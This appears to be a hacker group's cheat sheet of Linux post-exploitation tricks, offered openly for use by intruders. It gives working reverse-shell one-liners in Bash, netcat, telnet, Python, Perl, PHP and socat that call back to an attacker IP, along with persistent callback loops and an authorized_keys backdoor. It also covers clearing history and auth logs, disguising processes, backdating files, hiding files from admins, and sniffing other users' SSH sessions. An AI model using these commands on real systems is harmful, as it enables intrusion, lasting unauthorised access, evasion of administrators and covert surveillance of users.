Available at https://tiny.cc/thctricks
A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.
We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.
Got tricks? Send them to [email protected] or submit a pull request.
- Bash
- SSH
- Network
- File Encoding and Transfer
- Reverse Shell / Dumb Shell
- Backdoors
- Shell Hacks
- Crypto
- Miscellaneous
1.i. Leave Bash without history:
Tell Bash to use /dev/null instead of ~/.bash_history. This is the first command we execute on every shell. It will stop the Bash from logging your commands.
$ export HISTFILE=/dev/null
It is good housekeeping to 'commit suicide' when exiting a shell:
$ alias exit='kill -9 $$'
Any command starting with a " " (space) will not get logged to history either.
$ id
$ exec -a syslogd nmap -T0 10.0.2.1/24
Alternative if there is no Bash:
$ cp `which nmap` syslogd
$ PATH=.:$PATH syslogd -T0 10.0.2.1/24
In this example we execute nmap but let it appear with the name syslogd in ps alxwww process list.
Download zap-args.c. This example will execute nmap but will make it appear as 'syslogd' without any arguments in the ps alxww output.
$ gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl
$ LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24
Note: There is a gdb variant as well. Anyone?
$ ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
This will not add your user to the /var/log/utmp file and you wont show up in w or who command of logged in users. It will bypass .profile and .bash_profile as well. On your client side it will stop logging the host name to ~/.ssh/known_hosts.
We use this all the time to circumvent local firewalls and IP filtering:
$ ssh -g -L31337:1.2.3.4:80 [email protected]
You or anyone else can now connect to your computer on port 31337 and gets tunneled to 1.2.3.4 port 80 and appearing with the source IP of 'host.org'.
We use this to give access to a friend to an internal machine that is not on the public Internet:
$ ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Anyone connecting to host.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer.
OpenSSH 7.6 adds support for reverse dynamic forwarding. Example: Tunnel all your browser traffic through your server.
$ ssh -D 1080 [email protected]
Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through host.org and will appear with the source IP of host.org.
This is the reverse to the above example. It give others access to your local network or let others use your compute as a tunnel end-point.
$ ssh -g -R 1080 [email protected]
The others configuring host.org:1080 as their SOCKS4/5 proxy. They can now connect to any computers on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network.
3.i. ARP discover computers on the local network
$ nmap -r -sn -PR 192.168.0.1/24
This will Arp-ping all local machines just like arping. ARP ping always seems to work and is very steahlthy (e.g. does not show up in the target's firewall). However, this command is by far our favourite:
$ nmap -thc
3.ii. ICMP discover local network
...and when we do not have nmap and we can not do broadcast pings (requires root) then we use this:
$ for x in `seq 1 254`; do ping -on -c 3 -i 0.1 -W 200 192.168.1.$x | grep 'bytes from' | cut -f4 -d" " | sort -u; done
3.iii. Monitor all new TCP connections
# tcpdump -n "tcp[tcpflags] == tcp-syn"
3.iv. Alert on new TCP connections
Make a bing-noise (ascii BEL) when anyone tries to SSH to/from the target system (could be an admin!).
# tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done
Binary files transfer badly over a terminal connection. There are many ways to convert a binary into base64 or similar and make the file terminal friendly. We can then use a technique described further on to transfer a file to and from a remote system using nothing else but the shell/terminal as a transport medium (e.g. no separate connection).
Encode:
$ uuencode /etc/issue.net issue.net-COPY
begin 644 issue-net-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end
Cut & paste the output (4 lines, starting with 'being 644 ...') into this command: Decode:
$ uudecode
begin 644 issue-net-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end
Openssl can be used when uu/decode/encode is not available on the remote system:
Encode:
$ openssl base64 </etc/issue.net
VWJ1bnR1IDE4LjA0LjIgTFRTCg==
Cut & paste the output into this command:
$ openssl base64 -d >issue.net-COPY
..and if neither uuencode nor openssl is available then we have to dig a bit deeper in our trick box and use xxd.
Encode:
$ xxd -p </etc/issue.net
726f6f743a783a303a30...
Cut & paste the output into this command: Decode:
$ xxd -p -r >issue.net-COPY
4.iv. File Encoding - Multiple Binaries
Method 1: Using shar to create a self extracting shell script with binaries inside:
$ shar *.png *.c >stuff.shar
Transfer stuff.shar to the remote system and execute it:
$ chmod 700 stuff.shar
$ ./stuff.shar
Method 2: Using tar
$ tar cfz - *.png *.c | openssl base64 >stuff.tgz.b64
Transfer stuff.tgz.b64 to the remote system and execute:
$ openssl base64 -d <stuff.tgz.b64 | tar xfz -
4.v. File transfer - using screen from REMOTE to LOCAL
Transfer a file FROM the remote system to your local system:
Have a screen running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output:
CTRL-a : logfile screen-xfer.txt
CTRL-a H
We use openssl to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and screen will write this data to screen-xfer.txt:
$ openssl base64 </etc/issue.net
Stop your local screen from logging any further data:
CTRL-a H
On your local computer and from a different shell decode the file:
$ openssl base64 -d <screen-xfer.txt
$ rm -rf screen-xfer.txt
4.vi. File transfer - using screen from LOCAL to REMOTE
On your local system (from within a different shell) encode the data:
$ openssl base64 </etc/issue.net >screen-xfer.txt
On the remote system (and from within the current screen):
$ openssl base64 -d
Get screen to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system:
CTRL-a : readbuf screen-xfer.txt
CTRL-a : paste .
CTRL-d
CTRL-d
Note: Two C-d are required due to a bug in openssl.
5.i.a. Reverse shell with Bash
Start netcat to listen on port 1524 on your system:
$ nc -nvlp 1524
On the remote system. This Bash will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:
$ bash -i 2>&1 >&/dev/tcp/3.13.3.7/1524 0>&1
5.i.b. Reverse shell without Bash
Especially embedded systems do not always have Bash and the /dev/tcp/ trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:
On the remote system:
$ nc -e /bin/bash -vn 3.13.3.7 1524
Variant if '-e' is not supported:
$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Telnet variant:
$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Telnet variant when mkfifo is not supported (Ulg!):
$ (touch /dev/shm/.fio; sleep 60; rm -f /dev/shm/.fio) &
$ tail -f /dev/shm/.fio | sh -i 2>&1 | telnet 3.13.3.7 1524 >/dev/shm/.fio
Note: Use /tmp/.fio if /dev/shm is not available. Note: This trick logs your commands to a file. The file will be unlinked from the fs after 60 seconds but remains useable as a 'make shift pipe' as long as the reverse tunnel is started within 60 seconds.
5.i.c. Reverse shell with Python
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5.i.d. Reverse shell with Perl
# method 1
$ perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
$ perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
5.ii.a. Upgrade a reverse shell to a PTY shell
Any of the above reverse shells are limited. For example sudo bash or top will not work. To make these work we have to upgrate the shell to a real PTY shell:
$ script -qc /bin/bash /dev/null # Linux
$ script -q /dev/null /bin/bash # BSD
Or:
# Python
$ python -c 'import pty; pty.spawn("/bin/bash")'
5.ii.b. Upgrade a reverse shell to a fully interactive shell
...and if we also like to use Ctrl-C etc then we have to go all the way and upgrade the reverse shell to a real fully colorfull interactive shell:
# On the target host spwan a PTY using any of the above examples:
$ python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
# On your terminal execute:
$ stty raw -echo
# ...and bring the connection back into the foreground:
$ fg
$ reset
# On target host
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 24 columns 80
5.ii.c. Reverse shell with socat (fully interactive)
...or install socat and get it done without much fiddling about:
# on attacker's host (listener)
socat file:`tty`,raw,echo=0 tcp-listen:1524
# on target host (reverse shell)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
A reverse shell that keeps trying to connect back to us every 3600 seconds (indefinately). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected. Add to /etc/rc.local if required...
$ (while :; do nc -e /bin/bash -vn 3.13.3.7 1524; sleep 3600; done ) &>/dev/null &
Or
$ screen -d -m /bin/bash -c 'while :; do bash -i 2>&1 >&/dev/tcp/3.13.3.7/1524 0>&1; sleep 3600; done'
Add your ssh public key to /root/.ssh/authorized_keys. It's the most reliable backdoor ever :>
- It survives reboots.
- It even survives re-installs. Admins have been known to make a backup of authorized_keys and then put it straight back onto the newly installed system.
- We have even seen our key being copied to other companies!
Tip: Change the name at the end of the ssh public keyfile to something obscure like backup@ubuntu or the admin's real name:
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0
[...]
u1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C
c3zxLNse/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp/aEAujtHDHp backup@ubuntu
$ shred -z foobar.txt
7.ii. Shred & Erase without shred
$ FN=foobar.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`" if=/dev/urandom >"${FN}"; rm -f "${FN}"
Note: Or deploy your files in /dev/shm directory so that no data is written to the harddrive. Data will be deleted on reboot.
Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.
7.iii. Restore the date of a file
Let's say you have modified /etc/passwd but the file date now shows that /etc/passwd has been modifed. Use touch to change the file data to the date of another file (in this example, /etc/shadow)
$ touch -r /etc/shadow /etc/passwd
This will reset the logfile to 0 without having to restart syslogd etc:
# cat /dev/null >/var/log/auth.log
This will remove any sign of us from the log file:
# cd /dev/shm
# grep -v 'thc\.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log
7.v. Hide files from that User without root priviledges
Our favorite working directory is /dev/shm/. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME.
Hiding permanent files:
Method 1:
$ alias ls='ls -I system-dev'
This will hide the directory system-dev from the ls command. Place in User's ~/.profile or system wide /etc/profile.
Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like /boot/.X11/.. or so):
$ mkdir '...'
$ cd '...'
Method 3: Unix allows filenames with about any ASCII character but 0x00. Try tab (\t). Happens that most Admins do not know how to cd into any such directory.
$ mkdir $'\t'
$ cd $'\t'
8.i. Generate quick random Password
Good for quick passwords without human element.
$ openssl rand -base64 24
8.ii. Linux transportable encrypted filesystems
Create a 256MB large encrypted file system. You will be prompted for a password.
$ dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
$ cryptsetup luksFormat /tmp/crypted
$ mkfs.ext3 /tmp/crypted
Mount:
# losetup -f
# losetup /dev/loop0 /tmp/crypted
# cryptsetup open /dev/loop0 crypted
# mount -t ext3 /dev/mapper/crypted /mnt/crypted
Store data in /mnt/crypted, then unmount:
# umount /mnt/crypted
# cryptsetup close crypted
# losetup -d /dev/loop0
Encrypt your 0-Days and log files before transfering them - please. (and pick your own password):
Encrypt:
$ openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
Decrypt:
$ openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
9.i. Sniff a user's SSH session
$ strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done
Dirty way to monitor a user who is using ssh to connect to another host from a computer that you control.
9.ii. Sniff a user's SSH session without root priviledges
Even dirtier way in case /proc/sys/kernel/yama/ptrace_scope is set to 1 (strace will fail on already running SSH clients unless uid=0)
Create a wrapper script called 'ssh' that executes strace + ssh to log the session:
# Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh:
$ echo '$PATH=~/.local/bin:$PATH' >>~/.profile
# Create a log directory and our own ssh binary
$ mkdir -p ~/.local/bin ~/.ssh/logs
$ cat >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@
# now press CTRL-d to close the file.
$ cat ~/.local/bin/ssh-log
#! /bin/bash
grep 'read(4' | cut -f2 -d\" | while read -r x; do
if [ ${#x} -ne 2 ] && [ ${#x} -ne 1 ]; then continue; fi
if [ x"${x}" == "x\\n" ] || [ x"${x}" == "x\\r" ]; then
echo ""
else
echo -n "${x}"
fi
done >~/.ssh/.logs/ssh-log-"${1}"-`date +%s`.txt
# now press CTRL-d to close the file
$ chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
The SSH session will be sniffed and logged to ~/.ssh/logs/ the next time the user logs into his shell and uses SSH.
9.iii. How to survive high latency connections
Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. rlwrap comes to the rescue. It buffers all single keystrokes until Enter is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, ...
Example for the receiving end of a revese tunnel:
$ rlwrap nc -vnlp 1524
Example for SSH:
$ rlwrap ssh user@host
Shoutz: ADM, Oscar2020